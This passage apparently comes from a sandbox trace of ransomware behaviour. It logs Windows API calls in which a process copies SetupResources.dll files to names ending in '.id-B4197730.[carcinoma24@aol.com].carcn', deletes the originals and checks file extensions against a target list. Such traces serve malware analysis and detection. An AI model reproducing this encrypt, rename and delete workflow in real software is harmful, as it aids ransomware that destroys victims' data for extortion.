(normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0159.190] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0159.190] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.190] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.190] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0159.192] GetLastError () returned 0x0 [0159.192] ReadFile (in: hFile=0x2f4, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x4958, lpOverlapped=0x0) returned 1 [0159.274] WriteFile (in: hFile=0x2e8, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x4960, lpOverlapped=0x0) returned 1 [0159.275] ReadFile (in: hFile=0x2f4, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.275] WriteFile (in: hFile=0x2e8, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0xf8, lpOverlapped=0x0) returned 1 [0159.275] SetEndOfFile (hFile=0x2e8) returned 1 [0159.275] CloseHandle (hObject=0x2e8) returned 1 [0159.276] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.276] SetEndOfFile (hFile=0x2f4) returned 1 [0159.277] CloseHandle (hObject=0x2f4) returned 1 [0159.277] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0159.278] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 1 [0159.278] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0159.278] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0159.278] lstrlenW (lpString=".doc") returned 4 [0159.278] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.278] lstrlenW (lpString=".docx") returned 5 [0159.278] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0159.278] lstrlenW (lpString=".pdf") returned 4 [0159.278] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.278] lstrlenW (lpString=".xls") returned 4 [0159.278] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.278] lstrlenW (lpString=".xlsx") returned 5 [0159.278] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0159.278] lstrlenW (lpString=".ppt") returned 4 [0159.278] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.278] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0159.278] lstrlenW (lpString=".zip") returned 4 [0159.278] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.278] lstrlenW (lpString=".rar") returned 4 [0159.278] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.279] lstrlenW (lpString=".bz2") returned 4 [0159.279] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.279] lstrlenW (lpString=".7z") returned 3 [0159.279] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.279] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0159.279] lstrlenW (lpString=".dbf") returned 4 [0159.279] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.279] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0159.279] lstrlenW (lpString=".1cd") returned 4 [0159.279] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.279] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0159.279] lstrlenW (lpString=".jpg") returned 4 [0159.279] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.279] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0159.279] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0159.279] lstrlenW (lpString=".doc") returned 4 [0159.279] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.279] lstrlenW (lpString=".docx") returned 5 [0159.279] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0159.279] lstrlenW (lpString=".pdf") returned 4 [0159.279] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.279] lstrlenW (lpString=".xls") returned 4 [0159.279] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.279] lstrlenW (lpString=".xlsx") returned 5 [0159.279] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0159.279] lstrlenW (lpString=".ppt") returned 4 [0159.279] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.279] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0159.279] lstrlenW (lpString=".zip") returned 4 [0159.279] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.279] lstrlenW (lpString=".rar") returned 4 [0159.279] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.279] lstrlenW (lpString=".bz2") returned 4 [0159.280] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.280] lstrlenW (lpString=".7z") returned 3 [0159.280] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.280] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0159.280] lstrlenW (lpString=".dbf") returned 4 [0159.280] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.280] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0159.280] lstrlenW (lpString=".1cd") returned 4 [0159.280] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.280] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0159.280] lstrlenW (lpString=".jpg") returned 4 [0159.280] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.280] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0159.280] lstrlenW (lpString="SetupResources.dll") returned 18 [0159.280] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0160.176] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=18264) returned 1 [0160.176] CloseHandle (hObject=0x31c) returned 1 [0160.176] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 0x80 [0160.176] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0160.176] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0160.176] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.176] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.176] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0160.603] GetLastError () returned 0x0 [0160.603] ReadFile (in: hFile=0x31c, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x4758, lpOverlapped=0x0) returned 1 [0160.920] WriteFile (in: hFile=0x2d8, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x4760, lpOverlapped=0x0) returned 1 [0160.921] ReadFile (in: hFile=0x31c, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.921] WriteFile (in: hFile=0x2d8, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0xf8, lpOverlapped=0x0) returned 1 [0160.921] SetEndOfFile (hFile=0x2d8) returned 1 [0160.921] CloseHandle (hObject=0x2d8) returned 1 [0161.275] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.275] SetEndOfFile (hFile=0x31c) returned 1 [0161.276] CloseHandle (hObject=0x31c) returned 1 [0161.276] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.276] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 1 [0161.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0161.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0161.276] lstrlenW (lpString=".doc") returned 4 [0161.276] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.277] lstrlenW (lpString=".docx") returned 5 [0161.277] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0161.277] lstrlenW (lpString=".pdf") returned 4 [0161.277] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.277] lstrlenW (lpString=".xls") returned 4 [0161.277] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.277] lstrlenW (lpString=".xlsx") returned 5 [0161.277] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0161.277] lstrlenW (lpString=".ppt") returned 4 [0161.277] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.277] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0161.277] lstrlenW (lpString=".zip") returned 4 [0161.277] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.277] lstrlenW (lpString=".rar") returned 4 [0161.277] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.277] lstrlenW (lpString=".bz2") returned 4 [0161.277] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.277] lstrlenW (lpString=".7z") returned 3 [0161.277] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.277] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0161.277] lstrlenW (lpString=".dbf") returned 4 [0161.277] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.277] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0161.277] lstrlenW (lpString=".1cd") returned 4 [0161.277] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.277] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0161.277] lstrlenW (lpString=".jpg") returned 4 [0161.277] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.277] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0161.277] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0161.277] lstrlenW (lpString=".doc") returned 4 [0161.277] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.277] lstrlenW (lpString=".docx") returned 5 [0161.277] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0161.278] lstrlenW (lpString=".pdf") returned 4 [0161.278] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.278] lstrlenW (lpString=".xls") returned 4 [0161.278] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.278] lstrlenW (lpString=".xlsx") returned 5 [0161.278] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0161.278] lstrlenW (lpString=".ppt") returned 4 [0161.278] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.278] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0161.278] lstrlenW (lpString=".zip") returned 4 [0161.278] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.278] lstrlenW (lpString=".rar") returned 4 [0161.278] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.278] lstrlenW (lpString=".bz2") returned 4 [0161.278] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.278] lstrlenW (lpString=".7z") returned 3 [0161.278] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.278] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0161.278] lstrlenW (lpString=".dbf") returned 4 [0161.278] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.278] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0161.278] lstrlenW (lpString=".1cd") returned 4 [0161.278] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.278] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0161.278] lstrlenW (lpString=".jpg") returned 4 [0161.278] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.278] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0161.278] lstrlenW (lpString="SetupResources.dll") returned 18 [0161.278] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0161.279] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=14168) returned 1 [0161.279] CloseHandle (hObject=0x31c) returned 1 [0161.279] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 0x80 [0161.279] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.279] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0161.279] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.279] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.279] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0161.280] GetLastError () returned 0x0 [0161.280] ReadFile (in: hFile=0x31c, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x3758, lpOverlapped=0x0) returned 1 [0161.326] WriteFile (in: hFile=0x2d8, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x3760, lpOverlapped=0x0) returned 1 [0161.327] ReadFile (in: hFile=0x31c, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.327] WriteFile (in: hFile=0x2d8, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0xf8, lpOverlapped=0x0) returned 1 [0161.327] SetEndOfFile (hFile=0x2d8) returned 1 [0161.327] CloseHandle (hObject=0x2d8) returned 1 [0161.328] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.328] SetEndOfFile (hFile=0x31c) returned 1 [0161.329] CloseHandle (hObject=0x31c) returned 1 [0161.329] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.329] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 1 [0161.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0161.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0161.330] lstrlenW (lpString=".doc") returned 4 [0161.330] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.330] lstrlenW (lpString=".docx") returned 5 [0161.330] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0161.330] lstrlenW (lpString=".pdf") returned 4 [0161.330] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.330] lstrlenW (lpString=".xls") returned 4 [0161.330] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.330] lstrlenW (lpString=".xlsx") returned 5 [0161.330] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0161.330] lstrlenW (lpString=".ppt") returned 4 [0161.330] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0161.330] lstrlenW (lpString=".zip") returned 4 [0161.330] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.330] lstrlenW (lpString=".rar") returned 4 [0161.330] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.330] lstrlenW (lpString=".bz2") returned 4 [0161.330] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.330] lstrlenW (lpString=".7z") returned 3 [0161.330] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0161.330] lstrlenW (lpString=".dbf") returned 4 [0161.330] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0161.330] lstrlenW (lpString=".1cd") returned 4 [0161.330] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0161.330] lstrlenW (lpString=".jpg") returned 4 [0161.331] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0161.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0161.331] lstrlenW (lpString=".doc") returned 4 [0161.331] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.331] lstrlenW (lpString=".docx") returned 5 [0161.331] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0161.331] lstrlenW (lpString=".pdf") returned 4 [0161.331] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.331] lstrlenW (lpString=".xls") returned 4 [0161.331] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.331] lstrlenW (lpString=".xlsx") returned 5 [0161.331] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0161.331] lstrlenW (lpString=".ppt") returned 4 [0161.331] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0161.331] lstrlenW (lpString=".zip") returned 4 [0161.331] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.331] lstrlenW (lpString=".rar") returned 4 [0161.331] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.331] lstrlenW (lpString=".bz2") returned 4 [0161.331] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.331] lstrlenW (lpString=".7z") returned 3 [0161.331] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0161.331] lstrlenW (lpString=".dbf") returned 4 [0161.331] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0161.331] lstrlenW (lpString=".1cd") returned 4 [0161.331] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.332] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0161.332] lstrlenW (lpString=".jpg") returned 4 [0161.332] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.332] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0161.332] lstrlenW (lpString="SetupResources.dll") returned 18 [0161.332] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0161.332] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=18776) returned 1 [0161.332] CloseHandle (hObject=0x31c) returned 1 [0161.333] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 0x80 [0161.333] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.333] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0161.333] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.333] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.333] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0161.350] GetLastError () returned 0x0 [0161.350] ReadFile (in: hFile=0x31c, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x4958, lpOverlapped=0x0) returned 1 [0161.398] WriteFile (in: hFile=0x2d8, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x4960, lpOverlapped=0x0) returned 1 [0161.399] ReadFile (in: hFile=0x31c, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.399] WriteFile (in: hFile=0x2d8, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0xf8, lpOverlapped=0x0) returned 1 [0161.399] SetEndOfFile (hFile=0x2d8) returned 1 [0161.399] CloseHandle (hObject=0x2d8) returned 1 [0161.400] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.400] SetEndOfFile (hFile=0x31c) returned 1 [0161.401] CloseHandle (hObject=0x31c) returned 1 [0161.401] SetFileAttributesW 